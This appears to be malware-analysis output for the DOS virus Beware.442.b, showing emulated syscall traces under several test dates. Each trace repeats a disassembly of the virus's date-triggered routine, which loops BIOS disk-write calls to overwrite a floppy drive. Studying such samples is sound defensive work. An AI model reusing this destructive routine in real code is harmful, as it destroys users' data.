Sample viewer

vx.netlux.org/Virus.DOS.Beware.442.b

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:04:44.210543167Z 17 PC: 13c62 | Find first file
2018-12-17T22:04:44.212669779Z 66 PC: 13d07 | Move file pointer
2018-12-17T22:04:44.214106289Z 42 PC: 13d59 | Get date 0x13d59: cmp dl, 1
0x13d5c: jne 0x13d72
0x13d5e: cmp al, 1
0x13d60: jne 0x13d72
0x13d62: mov ax, 0x30f
0x13d65: mov cx, 1
0x13d68: xor dh, dh
0x13d6a: mov dl, 0
0x13d6c: int 0x13
0x13d6e: inc ch
0x13d70: jmp 0x13d6c
0x13d72: ret
0x13d73: loopne 0x13da9
0x13d75: inc si
0x13d76: adc cx, word ptr [bx - 0xb96]
0x13d7a: stosb byte ptr es:[di], al
0x13d7b: scasb al, byte ptr es:[di]
0x13d7c: ret
0x13d7d: iret
0x13d7e: int 0x80
2018-12-17T22:04:44.216168366Z 26 PC: 13c1c | Set disk transfer address
2018-12-17T22:04:44.217556392Z 78 PC: 13c27 | Find first file
2018-12-17T22:04:44.221817925Z 42 PC: 13d59 | Get date 0x13d59: cmp dl, 1
0x13d5c: jne 0x13d72
0x13d5e: cmp al, 1
0x13d60: jne 0x13d72
0x13d62: mov ax, 0x30f
0x13d65: mov cx, 1
0x13d68: xor dh, dh
0x13d6a: mov dl, 0
0x13d6c: int 0x13
0x13d6e: inc ch
0x13d70: jmp 0x13d6c
0x13d72: ret
0x13d73: loopne 0x13da9
0x13d75: inc si
0x13d76: adc cx, word ptr [bx - 0xb96]
0x13d7a: stosb byte ptr es:[di], al
0x13d7b: scasb al, byte ptr es:[di]
0x13d7c: ret
0x13d7d: iret
0x13d7e: int 0x80

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1643,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:00.632226632Z 17 PC: 13c62 | Find first file
2018-12-25T11:44:00.63455929Z 66 PC: 13d07 | Move file pointer
2018-12-25T11:44:00.636246767Z 42 PC: 13d59 | Get date 0x13d59: cmp dl, 1
0x13d5c: jne 0x13d72
0x13d5e: cmp al, 1
0x13d60: jne 0x13d72
0x13d62: mov ax, 0x30f
0x13d65: mov cx, 1
0x13d68: xor dh, dh
0x13d6a: mov dl, 0
0x13d6c: int 0x13
0x13d6e: inc ch
0x13d70: jmp 0x13d6c
0x13d72: ret
0x13d73: loopne 0x13da9
0x13d75: inc si
0x13d76: adc cx, word ptr [bx - 0xb96]
0x13d7a: stosb byte ptr es:[di], al
0x13d7b: scasb al, byte ptr es:[di]
0x13d7c: ret
0x13d7d: iret
0x13d7e: int 0x80
2018-12-25T11:44:00.638751025Z 26 PC: 13c1c | Set disk transfer address
2018-12-25T11:44:00.640191311Z 78 PC: 13c27 | Find first file
2018-12-25T11:44:00.646675422Z 42 PC: 13d59 | Get date (See above)

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1643,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:00.680146706Z 17 PC: 13c62 | Find first file
2018-12-25T11:44:00.687581632Z 66 PC: 13d07 | Move file pointer
2018-12-25T11:44:00.689046997Z 42 PC: 13d59 | Get date 0x13d59: cmp dl, 1
0x13d5c: jne 0x13d72
0x13d5e: cmp al, 1
0x13d60: jne 0x13d72
0x13d62: mov ax, 0x30f
0x13d65: mov cx, 1
0x13d68: xor dh, dh
0x13d6a: mov dl, 0
0x13d6c: int 0x13
0x13d6e: inc ch
0x13d70: jmp 0x13d6c
0x13d72: ret
0x13d73: loopne 0x13da9
0x13d75: inc si
0x13d76: adc cx, word ptr [bx - 0xb96]
0x13d7a: stosb byte ptr es:[di], al
0x13d7b: scasb al, byte ptr es:[di]
0x13d7c: ret
0x13d7d: iret
0x13d7e: int 0x80
2018-12-25T11:44:00.69124232Z 26 PC: 13c1c | Set disk transfer address
2018-12-25T11:44:00.693052137Z 78 PC: 13c27 | Find first file
2018-12-25T11:44:00.697167486Z 42 PC: 13d59 | Get date (See above)

{"DateBased":true,"Day":1,"Month":9,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1643,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:44:01.86583802Z 17 PC: 13c62 | Find first file
2018-12-25T11:44:01.868194867Z 66 PC: 13d07 | Move file pointer
2018-12-25T11:44:01.869481881Z 42 PC: 13d59 | Get date 0x13d59: cmp dl, 1
0x13d5c: jne 0x13d72
0x13d5e: cmp al, 1
0x13d60: jne 0x13d72
0x13d62: mov ax, 0x30f
0x13d65: mov cx, 1
0x13d68: xor dh, dh
0x13d6a: mov dl, 0
0x13d6c: int 0x13
0x13d6e: inc ch
0x13d70: jmp 0x13d6c
0x13d72: ret
0x13d73: loopne 0x13da9
0x13d75: inc si
0x13d76: adc cx, word ptr [bx - 0xb96]
0x13d7a: stosb byte ptr es:[di], al
0x13d7b: scasb al, byte ptr es:[di]
0x13d7c: ret
0x13d7d: iret
0x13d7e: int 0x80